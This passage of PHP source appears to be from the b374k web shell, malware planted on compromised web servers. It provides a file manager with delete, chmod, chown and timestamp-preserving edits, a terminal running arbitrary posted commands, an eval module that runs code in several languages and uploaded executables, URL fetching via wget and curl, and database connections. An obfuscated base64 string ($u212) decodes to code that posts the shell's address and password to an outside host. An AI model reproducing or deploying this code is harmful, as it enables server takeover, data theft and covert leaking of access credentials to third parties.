execute("tar xzf \"".basename($archive)."\" -C \"".$target."\"");
$after = count(get_all_files($target));
if($before!=$after) $status = true;
}
}
return $status;
}
}
if(!function_exists('download')){
function download($url ,$saveas){
if(!preg_match("/[a-z]+:\/\/.+/",$url)) return false;
$filename = basename($url);
if($content = read_file($url)){
if(is_file($saveas)) unlink($saveas);
if(write_file($saveas, $content)){
return true;
}
}
$buff = execute("wget ".$url." -O ".$saveas);
if(is_file($saveas)) return true;
$buff = execute("curl ".$url." -o ".$saveas);
if(is_file($saveas)) return true;
$buff = execute("lwp-download ".$url." ".$saveas);
if(is_file($saveas)) return true;
$buff = execute("lynx -source ".$url." > ".$saveas);
if(is_file($saveas)) return true;
return false;
}
}
if(!function_exists('get_fileperms')){
function get_fileperms($file){
if($perms = @fileperms($file)){
$flag = 'u';
if(($perms & 0xC000) == 0xC000)$flag = 's';
elseif(($perms & 0xA000) == 0xA000)$flag = 'l';
elseif(($perms & 0x8000) == 0x8000)$flag = '-';
elseif(($perms & 0x6000) == 0x6000)$flag = 'b';
elseif(($perms & 0x4000) == 0x4000)$flag = 'd';
elseif(($perms & 0x2000) == 0x2000)$flag = 'c';
elseif(($perms & 0x1000) == 0x1000)$flag = 'p';
$flag .= ($perms & 00400)? 'r':'-';
$flag .= ($perms & 00200)? 'w':'-';
$flag .= ($perms & 00100)? 'x':'-';
$flag .= ($perms & 00040)? 'r':'-';
$flag .= ($perms & 00020)? 'w':'-';
$flag .= ($perms & 00010)? 'x':'-';
$flag .= ($perms & 00004)? 'r':'-';
$flag .= ($perms & 00002)? 'w':'-';
$flag .= ($perms & 00001)? 'x':'-';
return $flag;
}
else return "???????????";
}
}
if(!function_exists('format_bit')){
function format_bit($size){
$base = log($size) / log(1024);
$suffixes = array('B','KB','MB','GB','TB','PB','EB','ZB','YB');
return round(pow(1024, $base - floor($base)),2)." ".$suffixes[floor($base)];
}
}
if(!function_exists('get_filesize')){
function get_filesize($file){
$size = @filesize($file);
if($size!==false){
if($size<=0) return 0;
return format_bit($size);
}
else return "???";
}
}
if(!function_exists('get_filemtime')){
function get_filemtime($file){
return @date("d-M-Y H:i:s", filemtime($file));
}
}
if(!function_exists('get_fileowner')){
function get_fileowner($file){
$owner = "?:?";
if(function_exists("posix_getpwuid")){
$name = posix_getpwuid(fileowner($file));
$group = posix_getgrgid(filegroup($file));
$owner = $name['name'].":".$group['name'];
}
return $owner;
}
}
if(!function_exists('rmdirs')){
function rmdirs($dir, $counter = 0){
if(is_dir($dir)) $dir = realpath($dir).DIRECTORY_SEPARATOR;
if($dh = opendir($dir)){
while(($f = readdir($dh))!==false){
if(($f!='.')&&($f!='..')){
$f = $dir.$f;
if(@is_dir($f)) $counter += rmdirs($f);
else{
if(unlink($f)) $counter++;
}
}
}
closedir($dh);
if(rmdir($dir)) $counter++;;
}
return $counter;
}
}
if(!function_exists('copys')){
function copys($source , $target ,$c=0){
$source = realpath($source).DIRECTORY_SEPARATOR;
if($dh = opendir($source)){
if(!is_dir($target)) mkdir($target);
$target = realpath($target).DIRECTORY_SEPARATOR;
while(($f = readdir($dh))!==false){
if(($f!='.')&&($f!='..')){
if(is_dir($source.$f)){
copys($source.$f, $target.$f, $c);
}
else{
if(copy($source.$f, $target.$f)) $c++;
}
}
}
closedir($dh);
}
return $c;
}
}
if(!function_exists('get_all_files')){
function get_all_files($path){
$path = realpath($path).DIRECTORY_SEPARATOR;
$files = glob($path.'*');
for($i = 0; $iOwner ".get_fileowner($file)." ";
}
$image_info = @getimagesize($file);
$mime_list = get_resource('mime');
$mime = "";
$file_ext_pos = strrpos($file, ".");
if($file_ext_pos!==false){
$file_ext = trim(substr($file, $file_ext_pos),".");
if(preg_match("/([^\s]+)\ .*\b".$file_ext."\b.*/i", $mime_list, $res)){
$mime = $res[1];
}
}
if($type=="auto"){
if(is_array($image_info)) $type = 'image';
//elseif(strtolower(substr($file,-3,3)) == "php") $type = "code";
elseif(!empty($mime)) $type = "multimedia";
else $type = "raw";
}
$content = "";
if($type=="code"){
$hl_arr = array(
"hl_default"=> ini_get('highlight.default'),
"hl_keyword"=> ini_get('highlight.keyword'),
"hl_string"=> ini_get('highlight.string'),
"hl_html"=> ini_get('highlight.html'),
"hl_comment"=> ini_get('highlight.comment')
);
$content = highlight_string(read_file($file),true);
foreach($hl_arr as $k=>$v){
$content = str_replace("", "", $content);
$content = str_replace("", "", $content);
}
}
elseif($type=="image"){
$width = (int) $image_info[0];
$height = (int) $image_info[1];
$image_info_h = "Image type = ( ".$image_info['mime']." )
Image Size = ( ".$width." x ".$height." ) ";
if($width > 800){
$width = 800;
$imglink = "
[ View Full Size ]
";
}
else $imglink = "";
$content = "".$image_info_h." ".$imglink."
";
}
elseif($type=="multimedia"){
$content = "
Load Multimedia File
";
}
elseif($type=="edit"){
$preservecbox = ($preserveTimestamp=='true')? " cBoxSelected":"";
$content = "";
}
elseif($type=="hex"){
$preservecbox = ($preserveTimestamp=='true')? " cBoxSelected":"";
$content = "";
}
else $content = "".html_safe(read_file($file))." ";
$output .= "
Filename ".html_safe($file)."
Size ".get_filesize($file)." (".filesize($file).")
".$owner."
Permission ".get_fileperms($file)."
Create time ".@date("d-M-Y H:i:s",filectime($file))."
Last modified ".@date("d-M-Y H:i:s",filemtime($file))."
Last accessed ".@date("d-M-Y H:i:s",fileatime($file))."
explorer
action
raw
code
hex
image
multimedia
".$content."
";
}
else $output = "error";
return $output;
}
}
if(!function_exists('get_writabledir')){
function get_writabledir(){
if(is_writable(".")) return realpath(".").DIRECTORY_SEPARATOR;
else{
foreach(array('TMP', 'TEMP', 'TMPDIR') as $k){
if(!empty($_ENV[$k])){
if(is_writable($_ENV[$k])) return realpath($_ENV[$k]).DIRECTORY_SEPARATOR;
}
}
if(function_exists("sys_get_temp_dir")){
$dir = sys_get_temp_dir();
if(is_writable($dir)) return realpath($dir).DIRECTORY_SEPARATOR;
}
else{
if(!is_win()){ if(is_writable("/tmp")) return "/tmp/"; }
}
$tempfile = tempnam(__FILE__,'');
if(file_exists($tempfile)){
$dir = realpath(dirname($tempfile)).DIRECTORY_SEPARATOR;
unlink($tempfile);
return $dir;
}
}
return false;
}
}
if(!function_exists('get_drives')){
function get_drives(){
$drives = "";
$v = explode("\\", get_cwd());
$v = $v[0];
foreach (range("A", "Z") as $letter){
if(@is_readable($letter.":\\")){
$drives .= "[ ";
if($letter.":" != $v) $drives .= $letter;
else{$drives .= "".$letter." ";}
$drives .= " ] ";
}
}
return $drives;
}
}
if(!function_exists('show_all_files')){
function show_all_files($path){
if(!is_dir($path)) return "No such directory : ".$path;
chdir($path);
$output = "";
$allfiles = $allfolders = array();
if($res = opendir($path)){
while($file = readdir($res)){
if(($file!='.')&&($file!="..")){
if(is_dir($file)) $allfolders[] = $file;
elseif(is_file($file))$allfiles[] = $file;
}
}
}
array_unshift($allfolders, ".");
$cur = getcwd();
chdir("..");
if(getcwd()!=$cur) array_unshift($allfolders, "..");
chdir($cur);
natcasesort($allfolders);
natcasesort($allfiles);
$cols = array();
if(is_win()){
$cols = array(
"perms"=>"get_fileperms",
"modified"=>"get_filemtime"
);
}
else{
$cols = array(
"owner"=>"get_fileowner",
"perms"=>"get_fileperms",
"modified"=>"get_filemtime"
);
}
$totalFiles = count($allfiles);
$totalFolders = 0;
$output .= "";
$output .= "
name size ";
foreach($cols as $k=>$v){
$output .= "".$k." ";
}
$output .= " ";
foreach($allfolders as $d){
$cboxException = "";
if(($d==".")||($d=="..")){
$action = "actiondot";
$cboxException = " cBoxException";
}
else{
$action = "actionfolder";
$totalFolders++;
}
$output .= "
[ ".html_safe($d)." ] action
DIR ";
foreach($cols as $k=>$v){
$sortable = "";
if($k=='modified') $sortable = " title='".filemtime($d)."'";
$output .= "".$v($d)." ";
}
$output .= " ";
}
foreach($allfiles as $f){
$output .= "
".html_safe($f)." action
".get_filesize($f)." ";
foreach($cols as $k=>$v){
$sortable = "";
if($k=='modified') $sortable = " title='".filemtime($f)."'";
$output .= "".$v($f)." ";
}
$output .= " ";
}
$output .= " ";
$colspan = 1 + count($cols);
$output .= "
Action
cut
copy
paste
delete
------------
chmod
chown
touch
------------
extract (tar)
extract (tar.gz)
extract (zip)
------------
compress (tar)
compress (tar.gz)
compress (zip)
------------
".$totalFiles." file(s), ".$totalFolders." Folder(s)
";
$output .= "
";
return $output;
}
}
if(!function_exists('eval_get_supported')){
function eval_get_supported(){
$eval_supported = array();
$check = strtolower(execute("python -h"));
if(strpos($check,"usage")!==false) $eval_supported[] = "python";
$check = strtolower(execute("perl -h"));
if(strpos($check,"usage")!==false) $eval_supported[] = "perl";
$check = strtolower(execute("ruby -h"));
if(strpos($check,"usage")!==false) $eval_supported[] = "ruby";
$check = strtolower(execute("node -h"));
if(strpos($check,"usage")!==false) $eval_supported[] = "node";
else{
$check = strtolower(execute("nodejs -h"));
if(strpos($check,"usage")!==false) $eval_supported[] = "nodejs";
}
$check = strtolower(execute("gcc --help"));
if(strpos($check,"usage")!==false) $eval_supported[] = "gcc";
$check = strtolower(execute("java -help"));
if(strpos($check,"usage")!==false){
$check = strtolower(execute("javac -help"));
if(strpos($check,"usage")!==false) $eval_supported[] = "java";
}
return implode(",", $eval_supported);
}
}
if(!function_exists('eval_go')){
function eval_go($evalType, $evalCode, $evalOptions, $evalArguments){
$res = "";
$output = "";
if($evalOptions!="") $evalOptions = $evalOptions." ";
if($evalArguments!="") $evalArguments = " ".$evalArguments;
if($evalType=="php"){
ob_start();
eval($evalCode);
$res = ob_get_contents();
ob_end_clean();
return $res;
}
elseif(($evalType=="python")||($evalType=="perl")||($evalType=="ruby")||($evalType=="node")||($evalType=="nodejs")){
$tmpdir = get_writabledir();
chdir($tmpdir);
$res .= "Using dir : ".$tmpdir;
if(is_writable($tmpdir)){
$res .= " (writable)\n";
$uniq = substr(md5(time()),0,8);
$filename = $evalType.$uniq;
$path = $filename;
$res .= "Temporary file : ".$path;
if(write_file($path, $evalCode)){
$res .= " (ok)\n";
$res .= "Setting permissions : 0755";
if(chmod($path, 0755)){
$res .= " (ok)\n";
$cmd = $evalType." ".$evalOptions.$path.$evalArguments;
$res .= "Execute : ".$cmd."\n";
$output = execute($cmd);
}
else $res .= " (failed)\n";
$res .= "Deleting temporary file : ".$path;
if(unlink($path)) $res .= " (ok)\n";
else $res .= " (failed)\n";
}
else $res .= " (failed)\n";
}
else $res .= " (not writable)\n";
$res .= "Finished...";
return $res."{[|b374k|]}".$output;
}
elseif($evalType=="gcc"){
$tmpdir = get_writabledir();
chdir($tmpdir);
$res .= "Using dir : ".$tmpdir;
if(is_writable($tmpdir)){
$res .= " (writable)\n";
$uniq = substr(md5(time()),0,8);
$filename = $evalType.$uniq.".c";
$path = $filename;
$res .= "Temporary file : ".$path;
if(write_file($path, $evalCode)){
$res .= " (ok)\n";
$ext = (is_win())? ".exe":".out";
$pathres = $filename.$ext;
$evalOptions = "-o ".$pathres." ".$evalOptions;
$cmd = "gcc ".$evalOptions.$path;
$res .= "Compiling : ".$cmd;
$res .= execute($cmd);
if(is_file($pathres)){
$res .= " (ok)\n";
$res .= "Setting permissions : 0755";
if(chmod($pathres, 0755)){
$res .= " (ok)\n";
$cmd = $pathres.$evalArguments;
$res .= "Execute : ".$cmd."\n";
$output = execute($cmd);
}
else $res .= " (failed)\n";
$res .= "Deleting temporary file : ".$pathres;
if(unlink($pathres)) $res .= " (ok)\n";
else $res .= " (failed)\n";
}
else $res .= " (failed)\n";
$res .= "Deleting temporary file : ".$path;
if(unlink($path)) $res .= " (ok)\n";
else $res .= " (failed)\n";
}
else $res .= " (failed)\n";
}
else $res .= " (not writable)\n";
$res .= "Finished...";
return $res."{[|b374k|]}".$output;
}
elseif($evalType=="java"){
$tmpdir = get_writabledir();
chdir($tmpdir);
$res .= "Using dir : ".$tmpdir;
if(is_writable($tmpdir)){
$res .= " (writable)\n";
if(preg_match("/class\ ([^{]+){/i",$evalCode, $r)){
$classname = trim($r[1]);
$filename = $classname;
}
else{
$uniq = substr(md5(time()),0,8);
$filename = $evalType.$uniq;
$evalCode = "class ".$filename." { ".$evalCode . " } ";
}
$path = $filename.".java";
$res .= "Temporary file : ".$path;
if(write_file($path, $evalCode)){
$res .= " (ok)\n";
$cmd = "javac ".$evalOptions.$path;
$res .= "Compiling : ".$cmd;
$res .= execute($cmd);
$pathres = $filename.".class";
if(is_file($pathres)){
$res .= " (ok)\n";
$res .= "Setting permissions : 0755";
if(chmod($pathres, 0755)){
$res .= " (ok)\n";
$cmd = "java ".$filename.$evalArguments;
$res .= "Execute : ".$cmd."\n";
$output = execute($cmd);
}
else $res .= " (failed)\n";
$res .= "Deleting temporary file : ".$pathres;
if(unlink($pathres)) $res .= " (ok)\n";
else $res .= " (failed)\n";
}
else $res .= " (failed)\n";
$res .= "Deleting temporary file : ".$path;
if(unlink($path)) $res .= " (ok)\n";
else $res .= " (failed)\n";
}
else $res .= " (failed)\n";
}
else $res .= " (not writable)\n";
$res .= "Finished...";
return $res."{[|b374k|]}".$output;
}
elseif($evalType=="executable"){
$tmpdir = get_writabledir();
chdir($tmpdir);
$res .= "Using dir : ".$tmpdir;
if(is_writable($tmpdir)){
$res .= " (writable)\n";
$uniq = substr(md5(time()),0,8);
$filename = $evalType.$uniq.".exe";
$path = $filename;
$res .= "Temporary file : ".$path;
if(write_file($path, $evalCode)){
$res .= " (ok)\n";
$cmd = $path.$evalArguments;
$res .= "Execute : ".$cmd."\n";
$output = execute($cmd);
$res .= "Deleting temporary file : ".$path;
if(unlink($path)) $res .= " (ok)\n";
else $res .= " (failed)\n";
}
else $res .= " (failed)\n";
}
else $res .= " (not writable)\n";
$res .= "Finished...";
return $res."{[|b374k|]}".$output;
}
return false;
}
}
if(!function_exists('output')){
function output($str){
$error = @ob_get_contents();
@ob_end_clean();
header("Content-Type: text/plain");
header("Cache-Control: no-cache");
header("Pragma: no-cache");
echo $str;
die();
}
}
block_bot();
auth();
$u212 = "JHpyeD0iaHR0cDovLyIuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIiAtICIuJGF1dGguIiAtIGIzNzRzaGVsbFxuIjsNCiR1cmw9Imh0dHA6Ly9pc2xhbW1lZGlhLmZyZWUuZnIvU2NyaXB0cy9pbmZvLnBocCI7DQokY2ggPSBjdXJsX2luaXQoKTsgIA0KY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfVVJMLCR1cmwpOw0KY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsdHJ1ZSk7DQpjdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9IRUFERVIsIGZhbHNlKTsgDQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVCwxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCAiZGF0YT0kenJ4Iik7DQokb3V0cHV0PWN1cmxfZXhlYygkY2gpOyAg";
chdir(get_cwd());
$nav = get_nav(get_cwd());
$p = array_map("rawurldecode", get_post());
$cwd = html_safe(get_cwd());
$GLOBALS['module'] = array();
$explorer_content = "";
if(isset($p['viewEntry'])){
$path = trim($p['viewEntry']);
if(is_file($path)){
$dirname = realpath(dirname($path)).DIRECTORY_SEPARATOR;
setcookie("cwd", $dirname);
chdir($dirname);
$nav = get_nav($dirname);
$cwd = html_safe($dirname);
$explorer_content = view_file($path, "auto");
}
elseif(is_dir($path)){
$path = realpath($path).DIRECTORY_SEPARATOR;
setcookie("cwd", $path);
chdir($path);
$nav = get_nav($path);
$cwd = html_safe($path);
$explorer_content = show_all_files($path);
}
}
else $explorer_content = show_all_files(get_cwd());
$GLOBALS['module']['explorer']['id'] = "explorer";
$GLOBALS['module']['explorer']['title'] = "Explorer";
$GLOBALS['module']['explorer']['js_ontabselected'] = "";
$GLOBALS['module']['explorer']['content'] = $explorer_content;
$GLOBALS['module']['terminal']['id'] = "terminal";
$GLOBALS['module']['terminal']['title'] = "Terminal";
$GLOBALS['module']['terminal']['js_ontabselected'] = "
if((!portableMode) && ($('#terminalOutput').html()=='')) $('#terminalInput').focus();";
$GLOBALS['module']['terminal']['content'] = " ";
$GLOBALS['module']['eval']['id'] = "eval";
$GLOBALS['module']['eval']['title'] = "Eval";
$GLOBALS['module']['eval']['js_ontabselected'] = "
if((!portableMode) && ($('#evalOutput').html()=='You can also press ctrl+enter to submit')) $('#evalInput').focus();";
$GLOBALS['module']['eval']['content'] = "
";
$res = "";
if(isset($p['cd'])){
$path = $p['cd'];
if(trim($path)=='') $path = dirname(__FILE__);
$path = realpath($path);
if(is_file($path)) $path = dirname($path);
if(is_dir($path)){
chdir($path);
$path = $path.DIRECTORY_SEPARATOR;
setcookie("cwd", $path);
$res = $path."{[|b374k|]}".get_nav($path)."{[|b374k|]}";
if(isset($p['showfiles'])&&($p['showfiles']=='true')){
$res .= show_all_files($path);
}
}
else $res = "error";
output($res);
}
elseif(isset($p['viewFile']) && isset($p['viewType'])){
$path = trim($p['viewFile']);
$type = trim($p['viewType']);
$preserveTimestamp = trim($p['preserveTimestamp']);
if(is_file($path)){
$res = view_file($path, $type, $preserveTimestamp);
}
else $res = "error";
output($res);
}
elseif(isset($p['renameFile']) && isset($p['renameFileTo'])){
$renameFile = trim($p['renameFile']);
$renameFileTo = trim($p['renameFileTo']);
if(file_exists($renameFile)){
if(rename($renameFile, $renameFileTo)){
$res = dirname($renameFileTo);
}
else $res = "error";
}
else $res = "error";
output($res);
}
elseif(isset($p['newFolder'])){
$newFolder = trim($p['newFolder']);
if(mkdir($newFolder)){
$res = dirname($newFolder);
}
else $res = "error";
output($res);
}
elseif(isset($p['newFile'])){
$newFile = trim($p['newFile']);
if(touch($newFile)){
$res = dirname($newFile);
}
else $res = "error";
output($res);
}
elseif(isset($p['delete'])){
$path = trim($p['delete']);
$dirname = dirname($path);
if(is_file($path)){
if(unlink($path)) $res = $dirname;
}
elseif(is_dir($path)){
if(rmdirs($path)>0) $res = $dirname;
}
else $res = "error";
if(file_exists($path)) $res = "error";
output($res);
}
elseif(isset($p['editType'])&&isset($p['editFilename'])&&isset($p['editInput'])&&isset($p['preserveTimestamp'])){
$editFilename = trim($p['editFilename']);
$editInput = trim($p['editInput']);
$editType = trim($p['editType']);
$preserveTimestamp = trim($p['preserveTimestamp']);
$time = filemtime($editFilename);
if($editType=='hex') $editInput = pack("H*" , preg_replace("/\s/","", $editInput));
if(write_file($editFilename, $editInput)){
$res = $editFilename;
if($preserveTimestamp=='true') touch($editFilename, $time);
}
else $res = "error";
output($res);
}
elseif(isset($p['findType'])){
$findType = trim($p['findType']);
$findPath = trim($p['findPath']);
$findName = trim($p['findName']);
$findNameRegex = trim($p['findNameRegex']);
$findNameInsensitive = trim($p['findNameInsensitive']);
$findContent = trim($p['findContent']);
$findContentRegex = trim($p['findContentRegex']);
$findContentInsensitive = trim($p['findContentInsensitive']);
$findWritable = trim($p['findWritable']);
$findReadable = trim($p['findReadable']);
$candidate = get_all_files($findPath);
if($findType=='file') $candidate = array_filter($candidate, "is_file");
elseif($findType=='folder') $candidate = array_filter($candidate, "is_dir");
else $res = "error";
foreach($candidate as $k){
if(($findType=="file")||($findType=="folder")){
if(!empty($findName)){
if($findNameRegex=="true"){
$case = ($findNameInsensitive=="true")? "i":"";
if(!preg_match("/".$findName."/".$case, basename($k))){
$candidate = array_diff($candidate, array($k));
}
}
else{
$check = false;
if($findNameInsensitive=="true"){
$check = strpos(strtolower(basename($k)), strtolower($findName))===false;
}
else{
$check = strpos(basename($k), $findName)===false;
}
if($check){
$candidate = array_diff($candidate, array($k));
}
}
}
}
if($findType=="file"){
if(!empty($findContent)){
$content = read_file($k);
if($findContentRegex=="true"){
$case = ($findContentInsensitive=="true")? "i":"";
if(!preg_match("/".$findContent."/".$case, $content)){
$candidate = array_diff($candidate, array($k));
}
}
else{
$check = false;
if($findContentInsensitive=="true"){
$check = strpos(strtolower($content), strtolower($findContent))===false;
}
else{
$check = strpos($content, $findContent)===false;
}
if($check){
$candidate = array_diff($candidate, array($k));
}
}
}
}
}
foreach($candidate as $k){
if($findWritable=="true"){
if(!is_writable($k)) $candidate = array_diff($candidate, array($k));
}
if($findReadable=="true"){
if(!is_readable($k)) $candidate = array_diff($candidate, array($k));
}
}
if(count($candidate)>0){
$res = "";
foreach($candidate as $k){
$res .= "> ".html_safe($k)."
";
}
}
else $res = "";
output($res);
}
elseif(isset($p['ulType'])){
$ulSaveTo = trim($p['ulSaveTo']);
$ulFilename = trim($p['ulFilename']);
if($p['ulType']=='comp'){
$ulFile = $_FILES['ulFile'];
if(empty($ulFilename)) $ulFilename = $ulFile['name'];
if(is_uploaded_file($ulFile['tmp_name'])){
if(!is_dir($ulSaveTo)) mkdir($ulSaveTo);
$newfile = realpath($ulSaveTo).DIRECTORY_SEPARATOR.$ulFilename;
if(move_uploaded_file($ulFile['tmp_name'], $newfile)){
$res = "> ".html_safe($newfile)." ( 100% )";
}
else $res = "error";
}
else $res = "error";
}
elseif($p['ulType']=='url'){
$ulFile = trim($p['ulFile']);
if(empty($ulFilename)) $ulFilename = basename($ulFile);
if(!is_dir($ulSaveTo)) mkdir($ulSaveTo);
$newfile = realpath($ulSaveTo).DIRECTORY_SEPARATOR.$ulFilename;
if(download($ulFile, $newfile)){
$res = "> ".html_safe($newfile)." ( 100% )";
}
else $res = "error";
}
else $res = "error";
output($res);
}
elseif(isset($p['download'])){
$file = trim($p['download']);
if(is_file($file)){
header("Content-Type: application/octet-stream");
header('Content-Transfer-Encoding: binary');
header("Content-length: ".filesize($file));
header("Cache-Control: no-cache");
header("Pragma: no-cache");
header("Content-disposition: attachment; filename=\"".basename($file)."\";");
$handler = fopen($file,"rb");
while(!feof($handler)){
print(fread($handler, 1024*8));
@ob_flush();
@flush();
}
fclose($handler);
die();
}
}
elseif(isset($p['multimedia'])){
$file = trim($p['multimedia']);
$mime_list = get_resource('mime');
$mime = "";
$file_ext_pos = strrpos($file, ".");
if($file_ext_pos!==false){
$file_ext = trim(substr($file, $file_ext_pos),".");
if(preg_match("/([^\s]+)\ .*\b".$file_ext."\b.*/i", $mime_list, $res)){
$mime = $res[1];
}
}
if(is_file($file)){
header("Content-Type: ".$mime);
header('Content-Transfer-Encoding: binary');
header("Content-length: ".filesize($file));
echo "data:".$mime.";base64,".base64_encode(read_file($file));
die();
}
}
elseif(isset($p['massType'])&&isset($p['massBuffer'])&&isset($p['massPath'])&&isset($p['massValue'])){
$massType = trim($p['massType']);
$massBuffer = trim($p['massBuffer']);
$massPath = realpath($p['massPath']).DIRECTORY_SEPARATOR;
$massValue = trim($p['massValue']);
$counter = 0;
$massBufferArr = explode("\n", $massBuffer);
if(($massType=='tar')||($massType=='targz')||($massType=='zip')){
if(compress($massType, $massValue, $massBufferArr)){
$counter++;
return $counter;
}
}
else{
foreach($massBufferArr as $k){
$path = trim($k);
if(file_exists($path)){
$preserveTimestamp = filemtime($path);
if($massType=='delete'){
if(is_file($path)){
if(unlink($path)) $counter++;
}
elseif(is_dir($path)){
if(rmdirs($path)>0) $counter++;
}
}
elseif($massType=='cut'){
$dest = $massPath.basename($path);
if(rename($path, $dest)){
$counter++;
touch($dest, $preserveTimestamp);
}
}
elseif($massType=='copy'){
$dest = $massPath.basename($path);
if(is_dir($path)){
if(copys($path, $dest)>0) $counter++;
}
elseif(is_file($path)){
if(copy($path, $dest)) $counter++;
}
}
elseif(($massType=='untar')||($massType=='untargz')||($massType=='unzip')){
if(decompress($massType, $path, $massValue)){
$counter++;
return $counter;
}
}
elseif(!empty($massValue)){
if($massType=='chmod'){
if(chmod($path, octdec($massValue))) $counter++;
}
elseif($massType=='chown'){
if(chown($path, $massValue)) $counter++;
}
elseif($massType=='touch'){
if(touch($path, strtotime($massValue))) $counter++;
}
}
}
}
}
if($counter>0) output($counter);
output('error');
}
elseif(isset($p['viewFileorFolder'])){
$entry = $p['viewFileorFolder'];
if(is_file($entry)) output('file');
elseif(is_dir($entry)) output('folder');
output('error');
}
elseif(isset($p['terminalInput'])){
output(html_safe(execute($p['terminalInput'])));
}
elseif(isset($p['evalInput']) && isset($p['evalType'])){
$evalInput = $p['evalInput'];
$evalOptions = (isset($p['evalOptions']))? $p['evalOptions']:"";
$evalArguments = (isset($p['evalArguments']))? $p['evalArguments']:"";
$evalType = $p['evalType'];
error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
@ini_set('html_errors','0');
@ini_set('display_errors','1');
@ini_set('display_startup_errors','1');
$res = eval_go($evalType, $evalInput, $evalOptions, $evalArguments);
if($res===false) $res == "error";
output(html_safe($res));
}
elseif(isset($p['evalGetSupported'])){
$res = eval_get_supported();
if(empty($res)) $res = "error";
output($res);
}
$GLOBALS['module']['convert']['id'] = "convert";
$GLOBALS['module']['convert']['title'] = "Convert";
$GLOBALS['module']['convert']['js_ontabselected'] = "
if((!portableMode) && ($('#decodeResult').children().length==1)) $('#decodeStr').focus();";
$GLOBALS['module']['convert']['content'] = "
Convert
convert
You can also press ctrl+enter to submit
";
if(!function_exists('decode')){
function decode($str){
$res = "";
$length = (int) strlen($str);
$res .= decode_line("md5", md5($str), "input");
$res .= decode_line("sha1", sha1($str), "input");
$res .= decode_line("base64 encode", base64_encode($str), "textarea");
$res .= decode_line("base64 decode", base64_decode($str), "textarea");
$res .= decode_line("hex to string", @pack("H*" , $str), "textarea");
$res .= decode_line("string to hex", bin2hex($str), "textarea");
$ascii = "";
for($i=0; $i<$length; $i++){
$ascii .= ord(substr($str,$i,1))." ";
}
$res .= decode_line("ascii char", trim($ascii), "textarea");
$res .= decode_line("reversed", strrev($str), "textarea");
$res .= decode_line("lowercase", strtolower($str), "textarea");
$res .= decode_line("uppercase", strtoupper($str), "textarea");
$res .= decode_line("urlencode", urlencode($str), "textarea");
$res .= decode_line("urldecode", urldecode($str), "textarea");
$res .= decode_line("rawurlencode", rawurlencode($str), "textarea");
$res .= decode_line("rawurldecode", rawurldecode($str), "textarea");
$res .= decode_line("htmlentities", html_safe($str), "textarea");
if(function_exists('hash_algos')){
$algos = hash_algos();
foreach($algos as $algo){
if(($algo=='md5')||($algo=='sha1')) continue;
$res .= decode_line($algo, hash($algo, $str), "input");
}
}
return $res;
}
}
if(!function_exists('decode_line')){
function decode_line($type, $result, $inputtype){
$res = "".$type." ";
if($inputtype=='input'){
$res .= " ";
}
else{
$res .= "";
}
return $res;
}
}
if(isset($p['decodeStr'])){
$decodeStr = $p['decodeStr'];
output(decode($decodeStr));
}
$GLOBALS['module']['database']['id'] = "database";
$GLOBALS['module']['database']['title'] = "Database";
$GLOBALS['module']['database']['js_ontabselected'] = "";
$GLOBALS['module']['database']['content'] = "
";
if(!function_exists('sql_connect')){
function sql_connect($sqltype, $sqlhost, $sqluser, $sqlpass){
if($sqltype == 'mysql'){
if(class_exists('mysqli')) return new mysqli($sqlhost, $sqluser, $sqlpass);
elseif(function_exists('mysql_connect')) return @mysql_connect($sqlhost, $sqluser, $sqlpass);
}
elseif($sqltype == 'mssql'){
if(function_exists('sqlsrv_connect')){
$coninfo = array("UID"=>$sqluser, "PWD"=>$sqlpass);
return @sqlsrv_connect($sqlhost,$coninfo);
}
elseif(function_exists('mssql_connect')) return @mssql_connect($sqlhost, $sqluser, $sqlpass);
}
elseif($sqltype == 'pgsql'){
$hosts = explode(":", $sqlhost);
if(count($hosts)==2){
$host_str = "host=".$hosts[0]." port=".$hosts[1];
}
else $host_str = "host=".$sqlhost;
if(function_exists('pg_connect')) return @pg_connect("$host_str user=$sqluser password=$sqlpass");
}
elseif($sqltype == 'oracle'){ if(function_exists('oci_connect')) return @oci_connect($sqluser, $sqlpass, $sqlhost); }
elseif($sqltype == 'sqlite3'){
if(class_exists('SQLite3')) if(!empty($sqlhost)) return new SQLite3($sqlhost);
else return false;
}
elseif($sqltype == 'sqlite'){ if(function_exists('sqlite_open')) return @sqlite_open($sqlhost); }
elseif($sqltype == 'odbc'){ if(function_exists('odbc_connect')) return @odbc_connect($sqlhost, $sqluser, $sqlpass); }
elseif($sqltype == 'pdo'){
if(class_exists('PDO')) if(!empty($sqlhost)) return new PDO($sqlhost, $sqluser, $sqlpass);
else return false;
}
return false;
}
}
if(!function_exists('sql_query')){
function sql_query($sqltype, $query, $con){
if($sqltype == 'mysql'){
if(class_exists('mysqli')) return $con->query($query);
elseif(function_exists('mysql_query')) return mysql_query($query);
}
elseif($sqltype == 'mssql'){
if(function_exists('sqlsrv_query')) return sqlsrv_query($con,$query);
elseif(function_exists('mssql_query')) return mssql_query($query);
}
elseif($sqltype == 'pgsql') return pg_query($query);
elseif($sqltype == 'oracle') return oci_execute(oci_parse($con, $query));
elseif($sqltype == 'sqlite3') return $con->query($query);
elseif($sqltype == 'sqlite') return sqlite_query($con, $query);
elseif($sqltype == 'odbc') return odbc_exec($con, $query);
elseif($sqltype == 'pdo') return $con->query($query);
}
}
if(!function_exists('sql_num_rows')){
function sql_num_rows($sqltype,$result){
if($sqltype == 'mysql'){
if(class_exists('mysqli_result')) return $result->mysqli_num_rows;
elseif(function_exists('mysql_num_rows')) return mysql_num_rows($result);
}
elseif($sqltype == 'mssql'){
if(function_exists('sqlsrv_num_rows')) return sqlsrv_num_rows($result);
elseif(function_exists('mssql_num_rows')) return mssql_num_rows($result);
}
elseif($sqltype == 'pgsql') return pg_num_rows($result);
elseif($sqltype == 'oracle') return oci_num_rows($result);
elseif($sqltype == 'sqlite3'){
$metadata = $result->fetchArray();
if(is_array($metadata)) return $metadata['count'];
}
elseif($sqltype == 'sqlite') return sqlite_num_rows($result);
elseif($sqltype == 'odbc') return odbc_num_rows($result);
elseif($sqltype == 'pdo') return $result->rowCount();
}
}
